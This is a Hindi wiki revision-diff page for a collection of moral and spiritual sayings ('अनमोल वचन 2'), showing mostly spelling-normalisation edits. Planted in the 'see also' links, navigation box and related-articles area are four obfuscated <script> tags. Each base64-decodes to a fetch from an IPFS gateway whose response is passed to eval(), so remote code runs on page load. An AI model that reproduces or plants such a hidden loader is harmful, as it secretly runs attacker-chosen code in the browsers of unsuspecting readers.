"अनमोल वचन 2" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "जिन्दगी" to "ज़िन्दगी") |
व्यवस्थापन (चर्चा | योगदान) छो (Text replacement - " गरीब" to " ग़रीब") |
||
(इसी सदस्य द्वारा किये गये बीच के 13 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 35: | पंक्ति 35: | ||
* अपनी प्रशंसा आप न करें, यह कार्य आपके सत्कर्म स्वयं करा लेंगे। | * अपनी प्रशंसा आप न करें, यह कार्य आपके सत्कर्म स्वयं करा लेंगे। | ||
* अपनी विकृत आकांक्षाओं से बढ़कर अकल्याणकारी साथी दुनिया में और कोई दूसरा नहीं। | * अपनी विकृत आकांक्षाओं से बढ़कर अकल्याणकारी साथी दुनिया में और कोई दूसरा नहीं। | ||
− | * अपनी | + | * अपनी महान् संभावनाओं पर अटूट विश्वास ही सच्ची आस्तिकता है। |
− | * अपनी भूलों को स्वीकारना उस झाडू के समान है जो गंदगी को | + | * अपनी भूलों को स्वीकारना उस झाडू के समान है जो गंदगी को साफ़ कर उस स्थान को पहले से अधिक स्वच्छ कर देती है। |
* अपनी शक्तियो पर भरोसा करने वाला कभी असफल नहीं होता। | * अपनी शक्तियो पर भरोसा करने वाला कभी असफल नहीं होता। | ||
* अपनी बुद्धि का अभिमान ही शास्त्रों की, सन्तों की बातों को अन्त: करण में टिकने नहीं देता। | * अपनी बुद्धि का अभिमान ही शास्त्रों की, सन्तों की बातों को अन्त: करण में टिकने नहीं देता। | ||
पंक्ति 52: | पंक्ति 52: | ||
* अखण्ड ज्योति ही प्रभु का प्रसाद है, वह मिल जाए तो जीवन में चार चाँद लग जाएँ। | * अखण्ड ज्योति ही प्रभु का प्रसाद है, वह मिल जाए तो जीवन में चार चाँद लग जाएँ। | ||
* अडिग रूप से चरित्रवान बनें, ताकि लोग आप पर हर परिस्थिति में विश्वास कर सकें। | * अडिग रूप से चरित्रवान बनें, ताकि लोग आप पर हर परिस्थिति में विश्वास कर सकें। | ||
− | * अच्छा व ईमानदार जीवन बिताओ और अपने चरित्र को अपनी | + | * अच्छा व ईमानदार जीवन बिताओ और अपने चरित्र को अपनी मंज़िल मानो। |
− | * अच्छा साहित्य जीवन के प्रति आस्था ही उत्पन्न नहीं करता, | + | * अच्छा साहित्य जीवन के प्रति आस्था ही उत्पन्न नहीं करता, वरन् उसके सौंदर्य पक्ष का भी उदघाटन कर उसे पूजनीय बना देता है। |
* अधिक सांसारिक ज्ञान अर्जित करने से अंहकार आ सकता है, परन्तु आध्यात्मिक ज्ञान जितना अधिक अर्जित करते हैं, उतनी ही नम्रता आती है। | * अधिक सांसारिक ज्ञान अर्जित करने से अंहकार आ सकता है, परन्तु आध्यात्मिक ज्ञान जितना अधिक अर्जित करते हैं, उतनी ही नम्रता आती है। | ||
* अधिक इच्छाएँ प्रसन्नता की सबसे बड़ी शत्रु हैं। | * अधिक इच्छाएँ प्रसन्नता की सबसे बड़ी शत्रु हैं। | ||
पंक्ति 62: | पंक्ति 62: | ||
* अवतार व्यक्ति के रूप में नहीं, आदर्शवादी प्रवाह के रूप में होते हैं और हर जीवन्त आत्मा को युगधर्म निबाहने के लिए बाधित करते हैं। | * अवतार व्यक्ति के रूप में नहीं, आदर्शवादी प्रवाह के रूप में होते हैं और हर जीवन्त आत्मा को युगधर्म निबाहने के लिए बाधित करते हैं। | ||
* अस्त-व्यस्त रीति से समय गँवाना अपने ही पैरों कुल्हाड़ी मारना है। | * अस्त-व्यस्त रीति से समय गँवाना अपने ही पैरों कुल्हाड़ी मारना है। | ||
− | * अवांछनीय कमाई से बनाई हुई खुशहाली की अपेक्षा ईमानदारी के आधार पर | + | * अवांछनीय कमाई से बनाई हुई खुशहाली की अपेक्षा ईमानदारी के आधार पर ग़रीबों जैसा जीवन बनाये रहना कहीं अच्छा है। |
* असत्य से धन कमाया जा सकता है, पर जीवन का आनन्द, पवित्रता और लक्ष्य नहीं प्राप्त किया जा सकता। | * असत्य से धन कमाया जा सकता है, पर जीवन का आनन्द, पवित्रता और लक्ष्य नहीं प्राप्त किया जा सकता। | ||
* अंध परम्पराएँ मनुष्य को अविवेकी बनाती हैं। | * अंध परम्पराएँ मनुष्य को अविवेकी बनाती हैं। | ||
पंक्ति 82: | पंक्ति 82: | ||
* अधिकार जताने से अधिकार सिद्ध नहीं होता। | * अधिकार जताने से अधिकार सिद्ध नहीं होता। | ||
* अपवित्र विचारों से एक व्यक्ति को चरित्रहीन बनाया जा सकता है, तो शुद्ध सात्विक एवं पवित्र विचारों से उसे संस्कारवान भी बनाया जा सकता है। | * अपवित्र विचारों से एक व्यक्ति को चरित्रहीन बनाया जा सकता है, तो शुद्ध सात्विक एवं पवित्र विचारों से उसे संस्कारवान भी बनाया जा सकता है। | ||
− | * असंयम की राह पर चलने से आनन्द की | + | * असंयम की राह पर चलने से आनन्द की मंज़िल नहीं मिलती। |
* अज्ञान और कुसंस्कारों से छूटना ही मुक्ति है। | * अज्ञान और कुसंस्कारों से छूटना ही मुक्ति है। | ||
* असत् से सत् की ओर, अंधकार से आलोक की और विनाश से विकास की ओर बढ़ने का नाम ही साधना है। | * असत् से सत् की ओर, अंधकार से आलोक की और विनाश से विकास की ओर बढ़ने का नाम ही साधना है। | ||
पंक्ति 96: | पंक्ति 96: | ||
* अच्छाइयों का एक-एक तिनका चुन-चुनकर जीवन भवन का निर्माण होता है, पर बुराई का एक हलका झोंका ही उसे मिटा डालने के लिए पर्याप्त होता है। | * अच्छाइयों का एक-एक तिनका चुन-चुनकर जीवन भवन का निर्माण होता है, पर बुराई का एक हलका झोंका ही उसे मिटा डालने के लिए पर्याप्त होता है। | ||
* अच्छाई का अभिमान बुराई की जड़ है। | * अच्छाई का अभिमान बुराई की जड़ है। | ||
− | * अज्ञान, अंधकार, अनाचार और दुराग्रह के माहौल से निकलकर हमें समुद्र में खड़े स्तंभों की तरह एकाकी खड़े होना चाहिये। भीतर का ईमान, बाहर का भगवान इन दो को मज़बूती से पकड़ें और विवेक तथा औचित्य के दो पग बढ़ाते हुये लक्ष्य की ओर एकाकी आगे बढ़ें तो इसमें ही सच्चा शौर्य, पराक्रम है। भले ही लोग उपहास उड़ाएं या असहयोगी, विरोधी | + | * अज्ञान, अंधकार, अनाचार और दुराग्रह के माहौल से निकलकर हमें समुद्र में खड़े स्तंभों की तरह एकाकी खड़े होना चाहिये। भीतर का ईमान, बाहर का भगवान इन दो को मज़बूती से पकड़ें और विवेक तथा औचित्य के दो पग बढ़ाते हुये लक्ष्य की ओर एकाकी आगे बढ़ें तो इसमें ही सच्चा शौर्य, पराक्रम है। भले ही लोग उपहास उड़ाएं या असहयोगी, विरोधी रुख़ बनाए रहें। |
* अधिकांश मनुष्य अपनी शक्तियों का दशमांश ही का प्रयोग करते हैं, शेष 90 प्रतिशत तो सोती रहती हैं। | * अधिकांश मनुष्य अपनी शक्तियों का दशमांश ही का प्रयोग करते हैं, शेष 90 प्रतिशत तो सोती रहती हैं। | ||
* अर्जुन की तरह आप अपना चित्त केवल लक्ष्य पर केन्द्रित करें, एकाग्रता ही आपको सफलता दिलायेगी। | * अर्जुन की तरह आप अपना चित्त केवल लक्ष्य पर केन्द्रित करें, एकाग्रता ही आपको सफलता दिलायेगी। | ||
पंक्ति 148: | पंक्ति 148: | ||
* इस संसार में कमज़ोर रहना सबसे बड़ा अपराध है। | * इस संसार में कमज़ोर रहना सबसे बड़ा अपराध है। | ||
* इस संसार में अनेक विचार, अनेक आदर्श, अनेक प्रलोभन और अनेक भ्रम भरे पड़े हैं। | * इस संसार में अनेक विचार, अनेक आदर्श, अनेक प्रलोभन और अनेक भ्रम भरे पड़े हैं। | ||
− | * इस संसार में प्यार करने लायक़ दो वस्तुएँ हैं - एक दु:ख और दूसरा श्रम। | + | * इस संसार में प्यार करने लायक़ दो वस्तुएँ हैं - एक दु:ख और दूसरा श्रम। दु:ख के बिना [[हृदय]] निर्मल नहीं होता और श्रम के बिना मनुष्यत्व का विकास नहीं होता। |
* 'इदं राष्ट्राय इदन्न मम' मेरा यह जीवन राष्ट्र के लिए है। | * 'इदं राष्ट्राय इदन्न मम' मेरा यह जीवन राष्ट्र के लिए है। | ||
* इन दिनों जाग्रत् [[आत्मा]] मूक दर्शक बनकर न रहे। बिना किसी के समर्थन, विरोध की परवाह किए आत्म-प्रेरणा के सहारे स्वयंमेव अपनी दिशाधारा का निर्माण-निर्धारण करें। | * इन दिनों जाग्रत् [[आत्मा]] मूक दर्शक बनकर न रहे। बिना किसी के समर्थन, विरोध की परवाह किए आत्म-प्रेरणा के सहारे स्वयंमेव अपनी दिशाधारा का निर्माण-निर्धारण करें। | ||
पंक्ति 171: | पंक्ति 171: | ||
* उसकी जय कभी नहीं हो सकती, जिसका दिल पवित्र नहीं है। | * उसकी जय कभी नहीं हो सकती, जिसका दिल पवित्र नहीं है। | ||
* उठो, जागो और लक्ष्य प्राप्ति होने तक मत रुको। | * उठो, जागो और लक्ष्य प्राप्ति होने तक मत रुको। | ||
− | * उठो, जागो और तब तक रुको नहीं जब तक | + | * उठो, जागो और तब तक रुको नहीं जब तक मंज़िल प्राप्त न हो जाये। |
* उच्चस्तरीय महत्त्वाकांक्षा एक ही है कि अपने को इस स्तर तक सुविस्तृत बनाया जाय कि दूसरों का मार्गदर्शन कर सकना संभव हो सके। | * उच्चस्तरीय महत्त्वाकांक्षा एक ही है कि अपने को इस स्तर तक सुविस्तृत बनाया जाय कि दूसरों का मार्गदर्शन कर सकना संभव हो सके। | ||
* उच्चस्तरीय स्वार्थ का नाम ही परमार्थ है। परमार्थ के लिये त्याग आवश्यक है पर यह एक बहुत बडा निवेश है जो घाटा उठाने की स्थिति में नहीं आने देता। | * उच्चस्तरीय स्वार्थ का नाम ही परमार्थ है। परमार्थ के लिये त्याग आवश्यक है पर यह एक बहुत बडा निवेश है जो घाटा उठाने की स्थिति में नहीं आने देता। | ||
पंक्ति 195: | पंक्ति 195: | ||
* ऊंचे उद्देश्य का निर्धारण करने वाला ही उज्ज्वल भविष्य को देखता है। | * ऊंचे उद्देश्य का निर्धारण करने वाला ही उज्ज्वल भविष्य को देखता है। | ||
* ऊँचे सिद्धान्तों को अपने जीवन में धारण करने की हिम्मत का नाम है - अध्यात्म। | * ऊँचे सिद्धान्तों को अपने जीवन में धारण करने की हिम्मत का नाम है - अध्यात्म। | ||
− | * ऊँचे उठो, प्रसुप्त को जगाओं, जो | + | * ऊँचे उठो, प्रसुप्त को जगाओं, जो महान् है उसका अवलम्बन करो ओर आगे बढ़ो। |
* ऊद्यम ही सफलता की कुंजी है। | * ऊद्यम ही सफलता की कुंजी है। | ||
* ऊपर की ओर चढ़ना कभी भी दूसरों को पैर के नीचे दबाकर नहीं किया जा सकता वरना ऐसी सफलता भूत बनकर आपका भविष्य बिगाड़ देगी। | * ऊपर की ओर चढ़ना कभी भी दूसरों को पैर के नीचे दबाकर नहीं किया जा सकता वरना ऐसी सफलता भूत बनकर आपका भविष्य बिगाड़ देगी। | ||
==ए== | ==ए== | ||
− | * एक ही पुत्र यदि | + | * एक ही पुत्र यदि विद्वान् और अच्छे स्वभाव वाला हो तो उससे परिवार को ऐसी ही खुशी होती है, जिस प्रकार एक चन्द्रमा के उत्पन्न होने पर काली रात चांदनी से खिल उठती है। |
* एक '''झूठ''' छिपाने के लिये दस झूठ बोलने पडते हैं। | * एक '''झूठ''' छिपाने के लिये दस झूठ बोलने पडते हैं। | ||
* एक गुण समस्त दोषो को ढक लेता है। | * एक गुण समस्त दोषो को ढक लेता है। | ||
पंक्ति 212: | पंक्ति 212: | ||
* कोई भी साधना कितनी ही ऊँची क्यों न हो, सत्य के बिना सफल नहीं हो सकती। | * कोई भी साधना कितनी ही ऊँची क्यों न हो, सत्य के बिना सफल नहीं हो सकती। | ||
* कोई भी कठिनाई क्यों न हो, अगर हम सचमुच शान्त रहें तो समाधान मिल जाएगा। | * कोई भी कठिनाई क्यों न हो, अगर हम सचमुच शान्त रहें तो समाधान मिल जाएगा। | ||
− | * कोई भी कार्य सही या | + | * कोई भी कार्य सही या ग़लत नहीं होता, हमारी सोच उसे सही या ग़लत बनाती है। |
* कोई भी इतना धनि नहीं कि पड़ौसी के बिना काम चला सके। | * कोई भी इतना धनि नहीं कि पड़ौसी के बिना काम चला सके। | ||
* कोई अपनी चमड़ी उखाड़ कर भीतर का अंतरंग परखने लगे तो उसे मांस और हड्डियों में एक तत्व उफनता दृष्टिगोचर होगा, वह है असीम प्रेम। हमने जीवन में एक ही उपार्जन किया है प्रेम। एक ही संपदा कमाई है - प्रेम। एक ही रस हमने चखा है वह है प्रेम का। | * कोई अपनी चमड़ी उखाड़ कर भीतर का अंतरंग परखने लगे तो उसे मांस और हड्डियों में एक तत्व उफनता दृष्टिगोचर होगा, वह है असीम प्रेम। हमने जीवन में एक ही उपार्जन किया है प्रेम। एक ही संपदा कमाई है - प्रेम। एक ही रस हमने चखा है वह है प्रेम का। | ||
पंक्ति 224: | पंक्ति 224: | ||
* किसी को आत्म-विश्वास जगाने वाला प्रोत्साहन देना ही सर्वोत्तम उपहार है। | * किसी को आत्म-विश्वास जगाने वाला प्रोत्साहन देना ही सर्वोत्तम उपहार है। | ||
* किसी सदुद्देश्य के लिए जीवन भर कठिनाइयों से जूझते रहना ही महापुरुष होना है। | * किसी सदुद्देश्य के लिए जीवन भर कठिनाइयों से जूझते रहना ही महापुरुष होना है। | ||
− | * किसी | + | * किसी महान् उद्देश्य को न चलना उतनी लज्जा की बात नहीं होती, जितनी कि चलने के बाद कठिनाइयों के भय से पीछे हट जाना। |
* किसी को ग़लत मार्ग पर ले जाने वाली सलाह मत दो। | * किसी को ग़लत मार्ग पर ले जाने वाली सलाह मत दो। | ||
* किसी के दुर्वचन कहने पर क्रोध न करना क्षमा कहलाता है। | * किसी के दुर्वचन कहने पर क्रोध न करना क्षमा कहलाता है। | ||
* किसी से ईर्ष्या करके मनुष्य उसका तो कुछ बिगाड़ नहीं सकता है, पर अपनी निद्रा, अपना सुख और अपना सुख-संतोष अवश्य खो देता है। | * किसी से ईर्ष्या करके मनुष्य उसका तो कुछ बिगाड़ नहीं सकता है, पर अपनी निद्रा, अपना सुख और अपना सुख-संतोष अवश्य खो देता है। | ||
− | * किसी | + | * किसी महान् उद्देश्य को लेकर न चलना उतनी लज्जा की बात नहीं होती, जितनी कि चलने के बाद कठिनाइयों के भय से रुक जाना अथवा पीछे हट जाना। |
* किसी वस्तु की इच्छा कर लेने मात्र से ही वह हासिल नहीं होती, इच्छा पूर्ति के लिए कठोर परिश्रम व प्रयत्न आवश्यक होता हैं। | * किसी वस्तु की इच्छा कर लेने मात्र से ही वह हासिल नहीं होती, इच्छा पूर्ति के लिए कठोर परिश्रम व प्रयत्न आवश्यक होता हैं। | ||
* किसी बेईमानी का कोई सच्चा मित्र नहीं होता। | * किसी बेईमानी का कोई सच्चा मित्र नहीं होता। | ||
पंक्ति 266: | पंक्ति 266: | ||
==ख== | ==ख== | ||
* खुशामद बड़े-बड़ों को ले डूबती है। | * खुशामद बड़े-बड़ों को ले डूबती है। | ||
− | * खुद | + | * खुद साफ़ रहो, सुरक्षित रहो और औरों को भी रोगों से बचाओं। |
* खरे बनिये, खरा काम कीजिए और खरी बात कहिए। इससे आपका हृदय हल्का रहेगा। | * खरे बनिये, खरा काम कीजिए और खरी बात कहिए। इससे आपका हृदय हल्का रहेगा। | ||
* खुश होने का यह अर्थ नहीं है कि जीवन में पूर्णता है बल्कि इसका अर्थ है कि आपने जीवन की अपूर्णता से परे रहने का निश्चय कर लिया है। | * खुश होने का यह अर्थ नहीं है कि जीवन में पूर्णता है बल्कि इसका अर्थ है कि आपने जीवन की अपूर्णता से परे रहने का निश्चय कर लिया है। | ||
पंक्ति 280: | पंक्ति 280: | ||
* गायत्री उपासना का अधिकर हर किसी को है। मनुष्य मात्र बिना किसी भेदभाव के उसे कर सकता है। | * गायत्री उपासना का अधिकर हर किसी को है। मनुष्य मात्र बिना किसी भेदभाव के उसे कर सकता है। | ||
* ग़लती को ढूढना, मानना और सुधारना ही मनुष्य का बड़प्पन है। | * ग़लती को ढूढना, मानना और सुधारना ही मनुष्य का बड़प्पन है। | ||
− | * | + | * ग़लती करना मनुष्यत्व है और क्षमा करना देवत्व। |
* गृहसि एक तपोवन है जिसमें संयम, सेवा, त्याग और सहिष्णुता की साधना करनी पड़ती है। | * गृहसि एक तपोवन है जिसमें संयम, सेवा, त्याग और सहिष्णुता की साधना करनी पड़ती है। | ||
* गंगा की गोद, हिमालय की छाया, ऋषि विश्वामित्र की तप:स्थली, अजस्त्र प्राण ऊर्जा का उद्भव स्रोत गायत्री तीर्थ शान्तिकुञ्ज जैसा जीवन्त स्थान उपासना के लिए दूसरा ढूँढ सकना कठिन है। | * गंगा की गोद, हिमालय की छाया, ऋषि विश्वामित्र की तप:स्थली, अजस्त्र प्राण ऊर्जा का उद्भव स्रोत गायत्री तीर्थ शान्तिकुञ्ज जैसा जीवन्त स्थान उपासना के लिए दूसरा ढूँढ सकना कठिन है। | ||
पंक्ति 290: | पंक्ति 290: | ||
==च== | ==च== | ||
− | * चरित्र का अर्थ है - अपने | + | * चरित्र का अर्थ है - अपने महान् मानवीय उत्तरदायित्वों का महत्त्व समझना और उसका हर कीमत पर निर्वाह करना। |
* चरित्र ही मनुष्य की श्रेष्ठता का उत्तम मापदण्ड है। | * चरित्र ही मनुष्य की श्रेष्ठता का उत्तम मापदण्ड है। | ||
* चरित्रवान् व्यक्ति ही किसी राष्ट्र की वास्तविक सम्पदा है। - वाङ्गमय | * चरित्रवान् व्यक्ति ही किसी राष्ट्र की वास्तविक सम्पदा है। - वाङ्गमय | ||
पंक्ति 299: | पंक्ति 299: | ||
* चोर, उचक्के, व्यसनी, जुआरी भी अपनी बिरादरी निरंतर बढ़ाते रहते हैं । इसका एक ही कारण है कि उनका चरित्र और चिंतन एक होता है। दोनों के मिलन पर ही प्रभावोत्पादक शक्ति का उद्भव होता है। किंतु आदर्शों के क्षेत्र में यही सबसे बड़ी कमी है। | * चोर, उचक्के, व्यसनी, जुआरी भी अपनी बिरादरी निरंतर बढ़ाते रहते हैं । इसका एक ही कारण है कि उनका चरित्र और चिंतन एक होता है। दोनों के मिलन पर ही प्रभावोत्पादक शक्ति का उद्भव होता है। किंतु आदर्शों के क्षेत्र में यही सबसे बड़ी कमी है। | ||
* चेतना के भावपक्ष को उच्चस्तरीय उत्कृष्टता के साथ एकात्म कर देने को 'योग' कहते हैं। | * चेतना के भावपक्ष को उच्चस्तरीय उत्कृष्टता के साथ एकात्म कर देने को 'योग' कहते हैं। | ||
− | * चिल्ला कर और झल्ला कर बातें करना, बिना सलाह मांगे सलाह देना, किसी की मजबूरी में अपनी अहमियत दर्शाना और सिद्ध करना, ये कार्य | + | * चिल्ला कर और झल्ला कर बातें करना, बिना सलाह मांगे सलाह देना, किसी की मजबूरी में अपनी अहमियत दर्शाना और सिद्ध करना, ये कार्य दुनिया का सबसे कमज़ोर और असहाय व्यक्ति करता है, जो खुद को ताकतवर समझता है और जीवन भर बेवकूफ बनता है, घृणा का पात्र बन कर दर दर की ठोकरें खाता है। |
==ज== | ==ज== | ||
पंक्ति 315: | पंक्ति 315: | ||
* जीवन के प्रकाशवान् क्षण वे हैं, जो सत्कर्म करते हुए बीते। | * जीवन के प्रकाशवान् क्षण वे हैं, जो सत्कर्म करते हुए बीते। | ||
* जीवन साधना का अर्थ है - अपने समय, श्रम ओर साधनों का कण-कण उपयोगी दिशा में नियोजित किये रहना। - वाङ्गमय | * जीवन साधना का अर्थ है - अपने समय, श्रम ओर साधनों का कण-कण उपयोगी दिशा में नियोजित किये रहना। - वाङ्गमय | ||
− | * जीवन दिन काटने के लिए नहीं, कुछ | + | * जीवन दिन काटने के लिए नहीं, कुछ महान् कार्य करने के लिए है। |
* जीवन उसी का सार्थक है, जो सदा परोपकार में प्रवृत्त है। | * जीवन उसी का सार्थक है, जो सदा परोपकार में प्रवृत्त है। | ||
* जीवन एक पाठशाला है, जिसमें अनुभवों के आधार पर हम शिक्षा प्राप्त करते हैं। | * जीवन एक पाठशाला है, जिसमें अनुभवों के आधार पर हम शिक्षा प्राप्त करते हैं। | ||
पंक्ति 348: | पंक्ति 348: | ||
* जिस आदर्श के व्यवहार का प्रभाव न हो, वह फिजूल है और जो व्यवहार आदर्श प्रेरित न हो, वह भयंकर है। | * जिस आदर्श के व्यवहार का प्रभाव न हो, वह फिजूल है और जो व्यवहार आदर्श प्रेरित न हो, वह भयंकर है। | ||
* जिस आदर्श के व्यवहार का प्रभाव न हो, वह फिजूल और जो व्यवहार आदर्श प्रेरित न हो, वह भयंकर है। | * जिस आदर्श के व्यवहार का प्रभाव न हो, वह फिजूल और जो व्यवहार आदर्श प्रेरित न हो, वह भयंकर है। | ||
− | * जिस भी भले बुरे रास्ते पर चला जाये उस पर साथी - सहयोगी तो मिलते ही रहते हैं। इस | + | * जिस भी भले बुरे रास्ते पर चला जाये उस पर साथी - सहयोगी तो मिलते ही रहते हैं। इस दुनिया में न भलाई की कमी है, न बुराई की। पसंदगी अपनी, हिम्मत अपनी, सहायता दुनिया की। |
* जिस प्रकार [[हिमालय]] का वक्ष चीरकर निकलने वाली गंगा अपने प्रियतम समुद्र से मिलने का लक्ष्य प्राप्त करने के लिए तीर की तरह बहती-सनसनाती बढ़ती चली जाती है और उसक मार्ग रोकने वाले चट्टान चूर-चूर होते चले जाते हैं उसी प्रकार पुषार्थी मनुष्य अपने लक्ष्य को अपनी तत्परता एवं प्रखरता के आधार पर प्राप्त कर सकता है। | * जिस प्रकार [[हिमालय]] का वक्ष चीरकर निकलने वाली गंगा अपने प्रियतम समुद्र से मिलने का लक्ष्य प्राप्त करने के लिए तीर की तरह बहती-सनसनाती बढ़ती चली जाती है और उसक मार्ग रोकने वाले चट्टान चूर-चूर होते चले जाते हैं उसी प्रकार पुषार्थी मनुष्य अपने लक्ष्य को अपनी तत्परता एवं प्रखरता के आधार पर प्राप्त कर सकता है। | ||
* जिस दिन, जिस क्षण किसी के अंदर बुरा विचार आये अथवा कोई दुष्कर्म करने की प्रवृत्ति उपजे, मानना चाहिए कि वह दिन-वह क्षण मनुष्य के लिए अशुभ है। | * जिस दिन, जिस क्षण किसी के अंदर बुरा विचार आये अथवा कोई दुष्कर्म करने की प्रवृत्ति उपजे, मानना चाहिए कि वह दिन-वह क्षण मनुष्य के लिए अशुभ है। | ||
पंक्ति 406: | पंक्ति 406: | ||
* जिसका [[हृदय]] पवित्र है, उसे अपवित्रता छू तक नहीं सकता। | * जिसका [[हृदय]] पवित्र है, उसे अपवित्रता छू तक नहीं सकता। | ||
* जिनका प्रत्येक कर्म भगवान को, आदर्शों को समर्पित होता है, वही सबसे बड़ा योगी है। | * जिनका प्रत्येक कर्म भगवान को, आदर्शों को समर्पित होता है, वही सबसे बड़ा योगी है। | ||
− | * जिसका मन-बुद्धि परमात्मा के प्रति | + | * जिसका मन-बुद्धि परमात्मा के प्रति वफ़ादार है, उसे मन की शांति अवश्य मिलती है। |
* जिसकी मुस्कुराहट कोई छीन न सके, वही असल सफ़ा व्यक्ति है। | * जिसकी मुस्कुराहट कोई छीन न सके, वही असल सफ़ा व्यक्ति है। | ||
* जिसकी इन्द्रियाँ वश में हैं, उसकी बुद्धि स्थिर है। | * जिसकी इन्द्रियाँ वश में हैं, उसकी बुद्धि स्थिर है। | ||
पंक्ति 412: | पंक्ति 412: | ||
* जिसके पास कुछ नहीं रहता, उसके पास '''भगवान''' रहता है। | * जिसके पास कुछ नहीं रहता, उसके पास '''भगवान''' रहता है। | ||
* जिनके अंदर ऐय्याशी, फिजूलखर्ची और विलासिता की कुर्बानी देने की हिम्मत नहीं, वे अध्यात्म से कोसों दूर हैं। | * जिनके अंदर ऐय्याशी, फिजूलखर्ची और विलासिता की कुर्बानी देने की हिम्मत नहीं, वे अध्यात्म से कोसों दूर हैं। | ||
− | * जिसके मन में राग-द्वेष नहीं है और जो तृष्णा को, त्याग कर शील तथा संतोष को ग्रहण किए हुए है, वह संत | + | * जिसके मन में राग-द्वेष नहीं है और जो तृष्णा को, त्याग कर शील तथा संतोष को ग्रहण किए हुए है, वह संत पुरुष जगत् के लिए जहाज़ है। |
* जिसके पास कुछ भी कर्ज़ नहीं, वह बड़ा मालदार है। | * जिसके पास कुछ भी कर्ज़ नहीं, वह बड़ा मालदार है। | ||
* जिनके भीतर-बाहर एक ही बात है, वही निष्कपट व्यक्ति धन्य है। | * जिनके भीतर-बाहर एक ही बात है, वही निष्कपट व्यक्ति धन्य है। | ||
पंक्ति 418: | पंक्ति 418: | ||
* जिन्हें लम्बी ज़िन्दगी जीना हो, वे बिना कड़ी भूख लगे कुछ भी न खाने की आदत डालें। | * जिन्हें लम्बी ज़िन्दगी जीना हो, वे बिना कड़ी भूख लगे कुछ भी न खाने की आदत डालें। | ||
* जिज्ञासा के बिना ज्ञान नहीं होता। | * जिज्ञासा के बिना ज्ञान नहीं होता। | ||
− | * जौ भौतिक महत्त्वाकांक्षियों की बेतरह कटौती करते हुए समय की पुकार पूरी करने के लिए बढ़े-चढ़े अनुदान प्रस्तुत करते और जिसमें | + | * जौ भौतिक महत्त्वाकांक्षियों की बेतरह कटौती करते हुए समय की पुकार पूरी करने के लिए बढ़े-चढ़े अनुदान प्रस्तुत करते और जिसमें महान् परम्परा छोड़ जाने की ललक उफनती रहे, यही है - प्रज्ञापुत्र शब्द का अर्थ। |
* ज़माना तब बदलेगा, जब हम स्वयं बदलेंगे। | * ज़माना तब बदलेगा, जब हम स्वयं बदलेंगे। | ||
* जाग्रत आत्माएँ कभी चुप बैठी ही नहीं रह सकतीं। उनके अर्जित संस्कार व सत्साहस युग की पुकार सुनकर उन्हें आगे बढ़ने व अवतार के प्रयोजनों हेतु क्रियाशील होने को बाध्य कर देते हैं। | * जाग्रत आत्माएँ कभी चुप बैठी ही नहीं रह सकतीं। उनके अर्जित संस्कार व सत्साहस युग की पुकार सुनकर उन्हें आगे बढ़ने व अवतार के प्रयोजनों हेतु क्रियाशील होने को बाध्य कर देते हैं। |
09:16, 12 अप्रैल 2018 के समय का अवतरण
इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: अनमोल वचन 1, अनमोल वचन 3, अनमोल वचन 4, अनमोल वचन 5, अनमोल वचन 6, अनमोल वचन 7, अनमोल वचन 8, अनमोल वचन 5, कहावत लोकोक्ति मुहावरे एवं सूक्ति और कहावत<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अनमोल वचन |
---|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> टीका टिप्पणी और संदर्भसंबंधित लेख<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |